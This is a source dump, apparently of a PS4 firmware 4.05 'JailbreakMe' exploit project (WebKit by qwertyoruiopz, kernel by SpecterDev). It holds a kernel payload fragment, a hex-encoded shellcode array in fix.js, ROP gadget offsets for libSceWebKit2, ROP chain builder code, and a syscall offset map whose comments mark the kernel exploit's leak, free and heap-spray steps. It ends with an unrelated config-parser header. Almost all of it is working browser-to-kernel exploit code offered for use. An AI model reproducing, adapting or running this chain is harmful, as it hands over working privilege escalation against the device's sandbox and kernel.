| printf = (void *)&ptrKernel[KERN_PRINTF]; 23 | 24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000)); 25 | 26 | // Fix stuff in object that's corrupted by exploit 27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964; 28 | *(uint64_t *)(objBase + 0x0F0) = 0; 29 | *(uint64_t *)(objBase + 0x0F8) = 0; 30 | 31 | // Malloc so object doesn't get smashed 32 | for (i = 0; i < 512; i++) 33 | { 34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02); 35 | 36 | printf("Alloc: 0x%lx\n", addr); 37 | 38 | if (addr == (void *)objBase) 39 | break; 40 | 41 | free(addr, &ptrKernel[0x133F680]); 42 | } 43 | 44 | printf("Object Dump 0x%lx\n", objBase); 45 | 46 | for (i = 0; i < 0x180; i += 8) 47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i)); 48 | 49 | // EE :) 50 | 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /exploit/fix.js: -------------------------------------------------------------------------------- 1 | var fix = [0x00000be9,0x90909000,0x90909090,0x90909090,0x0082b955,0x8948c000,0x415741e5,0x41554156,0x83485354,0x320f18ec,0x89d58949,0x64b948c0,0x77737069,0x49000000,0x4120e5c1,0x000200bc,0xc5094900,0xd0b58d4d,0x49ffcf14,0x8a509d8d,0x81490003,0x030b50c5,0x868d4901,0x001d18d0,0x00c68149,0x48001d17,0x48c04589,0xad0000a1,0x000000de,0x45894800,0x888948c8,0x000000e0,0xf080c748,0x00000000,0x48000000,0x00f880c7,0x00000000,0x1aeb0000,0x00841f0f,0x00000000,0x4cee894c,0x8b48ff89,0xd0ffc045,0x01ec8341,0x02ba2774,0x4c000000,0x80bfee89,0x41000001,0x8d48d6ff,0x00006f3d,0xc7894900,0x31c68948,0x4cd3ffc0,0x75c87d39,0xe43145c7,0xc8758b48,0x5f3d8d48,0x31000000,0x0fd3ffc0,0x0000441f,0x0000a148,0x0000dead,0x89440000,0x3d8d48e6,0x0000005c,0x20148b4a,0x08c48349,0xd3ffc031,0x80fc8149,0x75000001,0x3d8d48d7,0x00000060,0xd3ffc031,0x18c48348,0x415bc031,0x415d415c,0x5d5f415e,0x909090c3,0x6f6c6c41,0x30203a63,0x786c2578,0x624f000a,0x7463656a,0x6d754420,0x78302070,0x0a786c25,0x00000000,0x00000000,0x6265443c,0x203e6775,0x656a624f,0x2b207463,0x25783020,0x3a783330,0x25783020,0x000a786c,0x6265443c,0x203e6775,0x7473754a,0x726f4620,0x7468203a,0x3a737074,0x77772f2f,0x6f792e77,0x62757475,0x6f632e65,0x61772f6d,0x3f686374,0x4a563d76,0x6d6c5247,0x4c6c6133,0x00000a59]; 2 | -------------------------------------------------------------------------------- /exploit/gadgets.js: -------------------------------------------------------------------------------- 1 | /* For storing the gadget and import map */ 2 | window.gadgetMap = []; 3 | window.basicImportMap = []; 4 | 5 | /* All function stubs / imports from other modules */ 6 | var generateBasicImportMap = function() 7 | { 8 | window.basicImportMap = 9 | { 10 | '4.05': 11 | { 12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel 14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel 15 | } 16 | }; 17 | } 18 | 19 | /* All gadgets from the binary of available modules */ 20 | var generateGadgetMap = function() 21 | { 22 | window.gadgetMap = 23 | { 24 | '4.05': 25 | { 26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B), 30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660), 31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D), 32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 34 | 35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC), 36 | 37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06), 38 | 39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 42 | 43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D), 44 | 45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 46 | 47 | 'infloop': getGadget('libSceWebKit2', 0x45A11), 48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9), 49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80), 50 | 51 | 'ret': getGadget('libSceWebKit2', 0xC8), 52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388), 53 | } 54 | }; 55 | } 56 | -------------------------------------------------------------------------------- /exploit/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | JailbreakMe PS4 4.05 (Dumper) 5 | 6 | 7 | 8 | 9 | 10 | 38 | 39 | 40 | 41 | 42 | 43 | 664 | 665 | 666 | 667 |

...

WebKit by qwertyoruiopz
Kernel by SpecterDev
668 |

669 | 
670 | 
671 | 


--------------------------------------------------------------------------------
/exploit/rop.js:
--------------------------------------------------------------------------------
  1 | /* Leave these values untouched, they will be set properly post-exploitation */
  2 | var moduleBaseAddresses =
  3 | {
  4 |   'libkernel': 0,
  5 |   'libSceWebKit2': 0,
  6 |   'libSceLibcInternal': 0
  7 | };
  8 | 
  9 | /* Simply adds given offset to given module's base address */
 10 | function getGadget(moduleName, offset)
 11 | {
 12 |   return moduleBaseAddresses[moduleName].add32(offset);
 13 | }
 14 | 
 15 | var memory = function(p, address)
 16 | {
 17 |   this.basePtr = address
 18 |   this.dataPtr = 0;
 19 | 
 20 |   /* Return a pointer in mmap'd memory */
 21 |   this.allocate = function(size)
 22 |   {
 23 |     /* Prevent buffer overflow / pagefault */
 24 |     if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
 25 |     {
 26 |       return -1;
 27 |     }
 28 | 
 29 |     var memAddr = this.basePtr.add32(this.dataPtr);
 30 | 
 31 |     this.dataPtr += size;
 32 | 
 33 |     return memAddr;
 34 |   };
 35 | 
 36 |   /* Clears all data by zeroing out this.data and resetting count */
 37 |   this.clear = function()
 38 |   {
 39 |     for(var i = 0; i < 0x10000; i += 8)
 40 |     {
 41 |       p.write8(this.basePtr.add32(i), 0);
 42 |     }
 43 |   };
 44 | 
 45 |   /* Zero out our data buffer before returning a storage object */
 46 |   this.clear();
 47 | 
 48 |   return this;
 49 | };
 50 | 
 51 | /* Called to start a kernel ROP chain */
 52 | var krop = function(p, addr) {
 53 |   this.chainPtr = addr;
 54 |   this.count = 0;
 55 | 
 56 |   this.push = function(val)
 57 |   {
 58 |     p.write8(this.chainPtr.add32(this.count * 8), val);
 59 |     this.count++;
 60 |   };
 61 | 
 62 |   this.write64 = function (addr, val)
 63 |   {
 64 |     this.push(window.gadgets["pop rdi"]);
 65 |     this.push(addr);
 66 |     this.push(window.gadgets["pop rax"]);
 67 |     this.push(val);
 68 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
 69 |   }
 70 | 
 71 |   return this;
 72 | };
 73 | 
 74 | /* Called to start a new ROP chain */
 75 | var saferop = function(p, addr) {
 76 |   this.ropChain = undefined;
 77 |   this.ropChainPtr = undefined;
 78 |   this.ropChainEndPtr = undefined;
 79 | 
 80 |   if(addr == undefined)
 81 |   {
 82 |     this.ropChain    = new Uint32Array(0x4000);
 83 |     this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
 84 |     this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
 85 |   }
 86 |   else
 87 |   {
 88 |     this.ropChainPtr = addr;
 89 |     this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
 90 |   }
 91 | 
 92 |   this.count = 0;
 93 | 
 94 |   /* Clears the chain */
 95 |   this.clear = function()
 96 |   {
 97 |     this.count = 0;
 98 |     this.runtime = undefined;
 99 | 
100 |     for(var i = 0; i < 0x4000 - 0x8; i += 8)
101 |     {
102 |       p.write8(this.ropChainPtr.add32(i), 0);
103 |     }
104 |   };
105 | 
106 |   /* Gets the current chain index and increments it */
107 |   this.getChainIndex = function()
108 |   {
109 |     this.count++;
110 |     return this.count-1;
111 |   }
112 | 
113 |   /* Pushes a gadget or value on the stack */
114 |   this.push = function(val)
115 |   {
116 |     p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
117 |   }
118 | 
119 |   /* Writes a 64-bit value to given location */
120 |   this.push64 = function(where, what)
121 |   {
122 |     this.push(window.gadgets["pop rdi"]);
123 |     this.push(where);
124 |     this.push(window.gadgets["pop rsi"]);
125 |     this.push(what);
126 |     this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
127 |   }
128 | 
129 |   /* Sets up a function call into a module by address */
130 |   this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
131 |   {
132 |     if(rdi != undefined)
133 |     {
134 |       this.push(window.gadgets["pop rdi"]);
135 |       this.push(rdi);
136 |     }
137 | 
138 |     if(rsi != undefined)
139 |     {
140 |       this.push(window.gadgets["pop rsi"]);
141 |       this.push(rsi);
142 |     }
143 | 
144 |     if(rdx != undefined)
145 |     {
146 |       this.push(window.gadgets["pop rdx"]);
147 |       this.push(rdx);
148 |     }
149 | 
150 |     if(rcx != undefined)
151 |     {
152 |       this.push(window.gadgets["pop rcx"]);
153 |       this.push(rcx);
154 |     }
155 | 
156 |     if(r8 != undefined)
157 |     {
158 |       this.push(window.gadgets["pop r8"]);
159 |       this.push(r8);
160 |     }
161 | 
162 |     if(r9 != undefined)
163 |     {
164 |       this.push(window.gadgets["pop r9"]);
165 |       this.push(r9);
166 |     }
167 | 
168 |     this.push(rip);
169 |     return this;
170 |   }
171 | 
172 |   /* Sets up a return value location*/
173 |   this.saveReturnValue = function(where)
174 |   {
175 |     this.push(window.gadgets["pop rdi"]);
176 |     this.push(where);
177 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
178 |   }
179 | 
180 |   /* Loads the ROP chain and initializes it */
181 |   this.run = function()
182 |   {
183 |     var retv = p.loadchain(this);
184 |     this.clear();
185 | 
186 |     return retv;
187 |   }
188 | 
189 |   return this;
190 | };
191 | 
192 | /* Called to start a new ROP chain */
193 | var rop = function(p, addr) {
194 |   this.ropChainSize = 0x4000;
195 |   this.ropChain = undefined;
196 |   this.ropChainBasePtr = undefined;
197 |   this.ropChainPtr = undefined;
198 |   this.ropChainEndPtr = undefined;
199 | 
200 |   if(addr == undefined)
201 |   {
202 |     this.ropChain        = new Uint32Array((this.ropChainSize/4)*2);
203 |     this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
204 |     this.ropChainPtr     = this.ropChainBasePtr.add32(8);
205 |     this.ropChainEndPtr  = this.ropChainBasePtr.add32(this.ropChainSize);
206 |   }
207 |   else
208 |   {
209 |     this.ropChainBasePtr = addr.add32(0);
210 |     this.ropChainPtr     = addr.add32(8);
211 |     this.ropChainEndPtr  = addr.add32(this.ropChainSize);
212 |   }
213 | 
214 |   this.count = 0;
215 | 
216 |   /* Clears the chain */
217 |   this.clear = function()
218 |   {
219 |     this.count = 0;
220 |     this.runtime = undefined;
221 | 
222 |     for(var i = 0; i < this.ropChainSize-8; i += 8)
223 |     {
224 |       p.write8(this.ropChainBasePtr.add32(i), 0);
225 |     }
226 |   };
227 | 
228 |   /* Gets the current chain index and increments it */
229 |   this.getChainIndex = function()
230 |   {
231 |     this.count++;
232 |     return this.count-1;
233 |   }
234 | 
235 |   /* Pushes a gadget or value on the stack */
236 |   this.push = function(val)
237 |   {
238 |     p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
239 |   }
240 | 
241 |   /* Writes a 64-bit value to given location */
242 |   this.push64 = function(where, what)
243 |   {
244 |     this.push(window.gadgets["pop rdi"]);
245 |     this.push(where);
246 |     this.push(window.gadgets["pop rsi"]);
247 |     this.push(what);
248 |     this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
249 |   }
250 | 
251 |   /* Sets up a function call into a module by address */
252 |   this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
253 |   {
254 |     if(rdi != undefined)
255 |     {
256 |       this.push(window.gadgets["pop rdi"]);
257 |       this.push(rdi);
258 |     }
259 | 
260 |     if(rsi != undefined)
261 |     {
262 |       this.push(window.gadgets["pop rsi"]);
263 |       this.push(rsi);
264 |     }
265 | 
266 |     if(rdx != undefined)
267 |     {
268 |       this.push(window.gadgets["pop rdx"]);
269 |       this.push(rdx);
270 |     }
271 | 
272 |     if(rcx != undefined)
273 |     {
274 |       this.push(window.gadgets["pop rcx"]);
275 |       this.push(rcx);
276 |     }
277 | 
278 |     if(r8 != undefined)
279 |     {
280 |       this.push(window.gadgets["pop r8"]);
281 |       this.push(r8);
282 |     }
283 | 
284 |     if(r9 != undefined)
285 |     {
286 |       this.push(window.gadgets["pop r9"]);
287 |       this.push(r9);
288 |     }
289 | 
290 |     this.push(rip);
291 |     return this;
292 |   }
293 | 
294 |   /* Sets up a return value location*/
295 |   this.saveReturnValue = function(where)
296 |   {
297 |     this.push(window.gadgets["pop rdi"]);
298 |     this.push(where);
299 |     this.push(window.gadgets["mov qword ptr [rdi], rax"]);
300 |   }
301 | 
302 |   /* Loads the ROP chain and initializes it */
303 |   this.run = function()
304 |   {
305 |     var retv = p.loadchain(this);
306 |     this.clear();
307 | 
308 |     return retv;
309 |   }
310 | 
311 |   return this;
312 | };
313 | 


--------------------------------------------------------------------------------
/exploit/syscalls.js:
--------------------------------------------------------------------------------
  1 | /* Holds system call wrapper offsets for user's specific firmware */
  2 | window.syscalls = [];
  3 | window.memcalls = [];
  4 | 
  5 | /* These are the offsets in libkernel for system call wrappers */
  6 | window.syscallMap =
  7 | {
  8 |   '4.05':
  9 |   {
 10 |     3: 0x25F0,
 11 |     4: 0x2730,
 12 |     5: 0x2570,
 13 |     6: 0x24D0,
 14 |     20: 0x06F0,
 15 |     23: 0x0710,
 16 |     24: 0x0730,
 17 |     54: 0x0970, // Heap spray via sys_ioctl
 18 |     97: 0x0B70,
 19 |     98: 0x24F0,
 20 |     203: 0x1030, // Prefaulting
 21 |     477: 0x27B0, // sys_mmap
 22 |     557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create"
 23 |     558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete"
 24 |     601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service",
 25 |     632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext"
 26 |     633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext"
 27 |     634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext"
 28 |   }
 29 | }
 30 | 
 31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
 32 | window.syscallnames =
 33 | {
 34 | 	"sys_exit": 1,
 35 | 	"sys_fork": 2,
 36 | 	"sys_read": 3,
 37 | 	"sys_write": 4,
 38 | 	"sys_open": 5,
 39 | 	"sys_close": 6,
 40 | 	"sys_wait4": 7,
 41 | 	"sys_unlink": 10,
 42 | 	"sys_chdir": 12,
 43 | 	"sys_chmod": 15,
 44 | 	"sys_getpid": 20,
 45 | 	"sys_setuid": 23,
 46 | 	"sys_getuid": 24,
 47 | 	"sys_geteuid": 25,
 48 | 	"sys_recvmsg": 27,
 49 | 	"sys_sendmsg": 28,
 50 | 	"sys_recvfrom": 29,
 51 | 	"sys_accept": 30,
 52 | 	"sys_getpeername": 31,
 53 | 	"sys_getsockname": 32,
 54 | 	"sys_access": 33,
 55 | 	"sys_chflags": 34,
 56 | 	"sys_fchflags": 35,
 57 | 	"sys_sync": 36,
 58 | 	"sys_kill": 37,
 59 | 	"sys_stat": 38,
 60 | 	"sys_getppid": 39,
 61 | 	"sys_dup": 41,
 62 | 	"sys_pipe": 42,
 63 | 	"sys_getegid": 43,
 64 | 	"sys_profil": 44,
 65 | 	"sys_getgid": 47,
 66 | 	"sys_getlogin": 49,
 67 | 	"sys_setlogin": 50,
 68 | 	"sys_sigaltstack": 53,
 69 | 	"sys_ioctl": 54,
 70 | 	"sys_reboot": 55,
 71 | 	"sys_revoke": 56,
 72 | 	"sys_execve": 59,
 73 | 	"sys_execve": 59,
 74 | 	"sys_msync": 65,
 75 | 	"sys_munmap": 73,
 76 | 	"sys_mprotect": 74,
 77 | 	"sys_madvise": 75,
 78 | 	"sys_mincore": 78,
 79 | 	"sys_getgroups": 79,
 80 | 	"sys_setgroups": 80,
 81 | 	"sys_setitimer": 83,
 82 | 	"sys_getitimer": 86,
 83 | 	"sys_getdtablesize": 89,
 84 | 	"sys_dup2": 90,
 85 | 	"sys_fcntl": 92,
 86 | 	"sys_select": 93,
 87 | 	"sys_fsync": 95,
 88 | 	"sys_setpriority": 96,
 89 | 	"sys_socket": 97,
 90 | 	"sys_connect": 98,
 91 | 	"sys_getpriority": 100,
 92 | 	"sys_send": 101,
 93 | 	"sys_recv": 102,
 94 | 	"sys_bind": 104,
 95 | 	"sys_setsockopt": 105,
 96 | 	"sys_listen": 106,
 97 | 	"sys_recvmsg": 113,
 98 | 	"sys_sendmsg": 114,
 99 | 	"sys_gettimeofday": 116,
100 | 	"sys_getrusage": 117,
101 | 	"sys_getsockopt": 118,
102 | 	"sys_readv": 120,
103 | 	"sys_writev": 121,
104 | 	"sys_settimeofday": 122,
105 | 	"sys_fchmod": 124,
106 | 	"sys_recvfrom": 125,
107 | 	"sys_setreuid": 126,
108 | 	"sys_setregid": 127,
109 | 	"sys_rename": 128,
110 | 	"sys_flock": 131,
111 | 	"sys_sendto": 133,
112 | 	"sys_shutdown": 134,
113 | 	"sys_socketpair": 135,
114 | 	"sys_mkdir": 136,
115 | 	"sys_rmdir": 137,
116 | 	"sys_utimes": 138,
117 | 	"sys_adjtime": 140,
118 | 	"sys_getpeername": 141,
119 | 	"sys_setsid": 147,
120 | 	"sys_sysarch": 165,
121 | 	"sys_setegid": 182,
122 | 	"sys_seteuid": 183,
123 | 	"sys_fstat": 189,
124 | 	"sys_lstat": 190,
125 | 	"sys_pathconf": 191,
126 | 	"sys_fpathconf": 192,
127 | 	"sys_getrlimit": 194,
128 | 	"sys_setrlimit": 195,
129 | 	"sys_getdirentries": 196,
130 | 	"sys___sysctl": 202,
131 | 	"sys_mlock": 203,
132 | 	"sys_munlock": 204,
133 | 	"sys_futimes": 206,
134 | 	"sys_poll": 209,
135 | 	"sys_clock_gettime": 232,
136 | 	"sys_clock_settime": 233,
137 | 	"sys_clock_getres": 234,
138 | 	"sys_ktimer_create": 235,
139 | 	"sys_ktimer_delete": 236,
140 | 	"sys_ktimer_settime": 237,
141 | 	"sys_ktimer_gettime": 238,
142 | 	"sys_ktimer_getoverrun": 239,
143 | 	"sys_nanosleep": 240,
144 | 	"sys_rfork": 251,
145 | 	"sys_issetugid": 253,
146 | 	"sys_getdents": 272,
147 | 	"sys_preadv": 289,
148 | 	"sys_pwritev": 290,
149 | 	"sys_getsid": 310,
150 | 	"sys_aio_suspend": 315,
151 | 	"sys_mlockall": 324,
152 | 	"sys_munlockall": 325,
153 | 	"sys_sched_setparam": 327,
154 | 	"sys_sched_getparam": 328,
155 | 	"sys_sched_setscheduler": 329,
156 | 	"sys_sched_getscheduler": 330,
157 | 	"sys_sched_yield": 331,
158 | 	"sys_sched_get_priority_max": 332,
159 | 	"sys_sched_get_priority_min": 333,
160 | 	"sys_sched_rr_get_interval": 334,
161 | 	"sys_utrace": 335,
162 | 	"sys_sigprocmask": 340,
163 | 	"sys_sigprocmask": 340,
164 | 	"sys_sigsuspend": 341,
165 | 	"sys_sigpending": 343,
166 | 	"sys_sigtimedwait": 345,
167 | 	"sys_sigwaitinfo": 346,
168 | 	"sys_kqueue": 362,
169 | 	"sys_kevent": 363,
170 | 	"sys_uuidgen": 392,
171 | 	"sys_sendfile": 393,
172 | 	"sys_fstatfs": 397,
173 | 	"sys_ksem_close": 400,
174 | 	"sys_ksem_post": 401,
175 | 	"sys_ksem_wait": 402,
176 | 	"sys_ksem_trywait": 403,
177 | 	"sys_ksem_init": 404,
178 | 	"sys_ksem_open": 405,
179 | 	"sys_ksem_unlink": 406,
180 | 	"sys_ksem_getvalue": 407,
181 | 	"sys_ksem_destroy": 408,
182 | 	"sys_sigaction": 416,
183 | 	"sys_sigreturn": 417,
184 | 	"sys_getcontext": 421,
185 | 	"sys_setcontext": 422,
186 | 	"sys_swapcontext": 423,
187 | 	"sys_sigwait": 429,
188 | 	"sys_thr_create": 430,
189 | 	"sys_thr_exit": 431,
190 | 	"sys_thr_self": 432,
191 | 	"sys_thr_kill": 433,
192 | 	"sys_ksem_timedwait": 441,
193 | 	"sys_thr_suspend": 442,
194 | 	"sys_thr_wake": 443,
195 | 	"sys_kldunloadf": 444,
196 | 	"sys__umtx_op": 454,
197 | 	"sys__umtx_op": 454,
198 | 	"sys_thr_new": 455,
199 | 	"sys_sigqueue": 456,
200 | 	"sys_thr_set_name": 464,
201 | 	"sys_rtprio_thread": 466,
202 | 	"sys_pread": 475,
203 | 	"sys_pwrite": 476,
204 | 	"sys_mmap": 477,
205 | 	"sys_lseek": 478,
206 | 	"sys_truncate": 479,
207 | 	"sys_ftruncate": 480,
208 | 	"sys_thr_kill2": 481,
209 | 	"sys_shm_open": 482,
210 | 	"sys_shm_unlink": 483,
211 | 	"sys_cpuset_getid": 486,
212 | 	"sys_cpuset_getaffinity": 487,
213 | 	"sys_cpuset_setaffinity": 488,
214 | 	"sys_openat": 499,
215 | 	"sys_pselect": 522,
216 | 
217 | 	"sys_regmgr_call": 532,
218 | 	"sys_jitshm_create": 533,
219 | 	"sys_jitshm_alias": 534,
220 | 	"sys_dl_get_list": 535,
221 | 	"sys_dl_get_info": 536,
222 | 	"sys_dl_notify_event": 537,
223 | 	"sys_evf_create": 538,
224 | 	"sys_evf_delete": 539,
225 | 	"sys_evf_open": 540,
226 | 	"sys_evf_close": 541,
227 | 	"sys_evf_wait": 542,
228 | 	"sys_evf_trywait": 543,
229 | 	"sys_evf_set": 544,
230 | 	"sys_evf_clear": 545,
231 | 	"sys_evf_cancel": 546,
232 | 	"sys_query_memory_protection": 47,
233 | 	"sys_batch_map": 548,
234 | 	"sys_osem_create": 549,
235 | 	"sys_osem_delete": 550,
236 | 	"sys_osem_open": 551,
237 | 	"sys_osem_close": 552,
238 | 	"sys_osem_wait": 553,
239 | 	"sys_osem_trywait": 554,
240 | 	"sys_osem_post": 555,
241 | 	"sys_osem_cancel": 556,
242 | 	"sys_namedobj_create": 557,
243 | 	"sys_namedobj_delete": 558,
244 | 	"sys_set_vm_container": 559,
245 | 	"sys_debug_init": 560,
246 | 	"sys_suspend_process": 561,
247 | 	"sys_resume_process": 562,
248 | 	"sys_opmc_enable": 563,
249 | 	"sys_opmc_disable": 564,
250 | 	"sys_opmc_set_ctl": 565,
251 | 	"sys_opmc_set_ctr": 566,
252 | 	"sys_opmc_get_ctr": 567,
253 | 	"sys_budget_create": 568,
254 | 	"sys_budget_delete": 569,
255 | 	"sys_budget_get": 570,
256 | 	"sys_budget_set": 571,
257 | 	"sys_virtual_query": 572,
258 | 	"sys_mdbg_call": 573,
259 | 	"sys_sblock_create": 574,
260 | 	"sys_sblock_delete": 575,
261 | 	"sys_sblock_enter": 576,
262 | 	"sys_sblock_exit": 577,
263 | 	"sys_sblock_xenter": 578,
264 | 	"sys_sblock_xexit": 579,
265 | 	"sys_eport_create": 580,
266 | 	"sys_eport_delete": 581,
267 | 	"sys_eport_trigger": 582,
268 | 	"sys_eport_open": 583,
269 | 	"sys_eport_close": 584,
270 | 	"sys_is_in_sandbox": 585,
271 | 	"sys_dmem_container": 586,
272 | 	"sys_get_authinfo": 587,
273 | 	"sys_mname": 588,
274 | 	"sys_dynlib_dlopen": 589,
275 | 	"sys_dynlib_dlclose": 590,
276 | 	"sys_dynlib_dlsym": 591,
277 | 	"sys_dynlib_get_list": 592,
278 | 	"sys_dynlib_get_info": 593,
279 | 	"sys_dynlib_load_prx": 594,
280 | 	"sys_dynlib_unload_prx": 595,
281 | 	"sys_dynlib_do_copy_relocations": 596,
282 | 	"sys_dynlib_prepare_dlclose": 597,
283 | 	"sys_dynlib_get_proc_param": 598,
284 | 	"sys_dynlib_process_needed_and_relocate": 599,
285 | 	"sys_sandbox_path": 600,
286 | 	"sys_mdbg_service": 601,
287 | 	"sys_randomized_path": 602,
288 | 	"sys_rdup": 603,
289 | 	"sys_dl_get_metadata": 604,
290 | 	"sys_workaround8849": 605,
291 | 	"sys_is_development_mode": 606,
292 | 	"sys_get_self_auth_info": 607,
293 | 	"sys_dynlib_get_info_ex": 608,
294 | 	"sys_budget_get_ptype": 610,
295 | 	"sys_budget_getid": 609,
296 | 	"sys_get_paging_stats_of_all_threads": 611,
297 | 	"sys_get_proc_type_info": 612,
298 | 	"sys_get_resident_count": 613,
299 | 	"sys_prepare_to_suspend_process": 614,
300 | 	"sys_get_resident_fmem_count": 615,
301 | 	"sys_thr_get_name": 616,
302 | 	"sys_set_gpo": 617,
303 | 	"sys_thr_suspend_ucontext": 632,
304 | 	"sys_thr_resume_ucontext": 633,
305 | 	"sys_thr_get_ucontext": 634
306 | }
307 | 


--------------------------------------------------------------------------------
/include/cfg.h:
--------------------------------------------------------------------------------
  1 | /* inih -- simple .ini/.cfg file parser
  2 | 
  3 | inih is released under the New BSD license (see LICENSE.txt). Go to the project
  4 | home page for more info:
  5 | 
  6 | https://github.com/benhoyt/inih
  7 | 
  8 | */
  9 | 
 10 | #ifndef __CFG_H__
 11 | #define __CFG_H__
 12 | 
 13 | /* Nonzero if cfg_handler callback should accept lineno parameter. */
 14 | #ifndef CFG_HANDLER_LINENO
 15 | #define CFG_HANDLER_LINENO 0
 16 | #endif
 17 | 
 18 | /* Typedef for prototype of handler function. */
 19 | #if CFG_HANDLER_LINENO
 20 | typedef int (*cfg_handler)(void* user, const char* name, const char* value, int lineno);
 21 | #else
 22 | typedef int (*cfg_handler)(void* user, const char* name, const char* value);
 23 | #endif
 24 | 
 25 | /* Typedef for prototype of fgets-style reader function. */
 26 | typedef char* (*cfg_reader)(char* str, int num, void* stream);
 27 | 
 28 | /* Parse given CONF-style file. May have name=value pairs
 29 |    (whitespace stripped), and comments starting with ';' (semicolon).
 30 | 
 31 |    For each name=value pair parsed, call handler function with given user
 32 |    pointer and value (data only valid for duration
 33 |    of handler call). Handler should return nonzero on success, zero on error.
 34 | 
 35 |    Returns 0 on success, line number of first error on parse error (doesn't
 36 |    stop on first error), -1 on file open error, or -2 on memory allocation
 37 |    error (only when CFG_USE_STACK is zero).
 38 | */
 39 | int cfg_parse(const char* filename, cfg_handler handler, void* user);
 40 | 
 41 | /* Same as cfg_parse(), but takes a FILE* instead of filename. This doesn't
 42 |    close the file when it's finished -- the caller must do that. */
 43 | int cfg_parse_file(FILE* file, cfg_handler handler, void* user);
 44 | 
 45 | /* Same as cfg_parse(), but takes an cfg_reader function pointer instead of
 46 |    filename. Used for implementing custom or string-based I/O (see also
 47 |    cfg_parse_string). */
 48 | int cfg_parse_stream(cfg_reader reader, void* stream, cfg_handler handler,
 49 |                      void* user);
 50 | 
 51 | /* Same as cfg_parse(), but takes a zero-terminated string with the CONF data
 52 | instead of a file. Useful for parsing CONF data from a network socket or
 53 | already in memory. */
 54 | int cfg_parse_string(const char* string, cfg_handler handler, void* user);
 55 | 
 56 | /* Nonzero to allow multi-line value parsing, in the style of Python's
 57 |    configparser. If allowed, cfg_parse() will call the handler with the same
 58 |    name for each subsequent line parsed. */
 59 | #ifndef CFG_ALLOW_MULTILINE
 60 | #define CFG_ALLOW_MULTILINE 0
 61 | #endif
 62 | 
 63 | /* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of
 64 |    the file. See http://code.google.com/p/inih/issues/detail?id=21 */
 65 | #ifndef CFG_ALLOW_BOM
 66 | #define CFG_ALLOW_BOM 0
 67 | #endif
 68 | 
 69 | /* Nonzero to allow inline comments (with valid inline comment characters
 70 |    specified by CFG_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match
 71 |    Python 3.2+ configparser behaviour. */
 72 | #ifndef CFG_ALLOW_INLINE_COMMENTS
 73 | #define CFG_ALLOW_INLINE_COMMENTS 1
 74 | #endif
 75 | #ifndef CFG_INLINE_COMMENT_PREFIXES
 76 | #define CFG_INLINE_COMMENT_PREFIXES ";"
 77 | #endif
 78 | 
 79 | /* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */
 80 | #ifndef CFG_USE_STACK
 81 | #define CFG_USE_STACK 1
 82 | #endif
 83 | 
 84 | /* Maximum line length for any line in CONF file (stack or heap). Note that
 85 |    this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */
 86 | #ifndef CFG_MAX_LINE
 87 | #define CFG_MAX_LINE 200
 88 | #endif
 89 | 
 90 | /* Nonzero to allow heap line buffer to grow via realloc(), zero for a
 91 |    fixed-size buffer of CFG_MAX_LINE bytes. Only applies if CFG_USE_STACK is
 92 |    zero. */
 93 | #ifndef CFG_ALLOW_REALLOC
 94 | #define CFG_ALLOW_REALLOC 0
 95 | #endif
 96 | 
 97 | /* Initial size in bytes for heap line buffer. Only applies if CFG_USE_STACK
 98 |    is zero. */
 99 | #ifndef CFG_INITIAL_ALLOC
100 | #define CFG_INITIAL_ALLOC 200
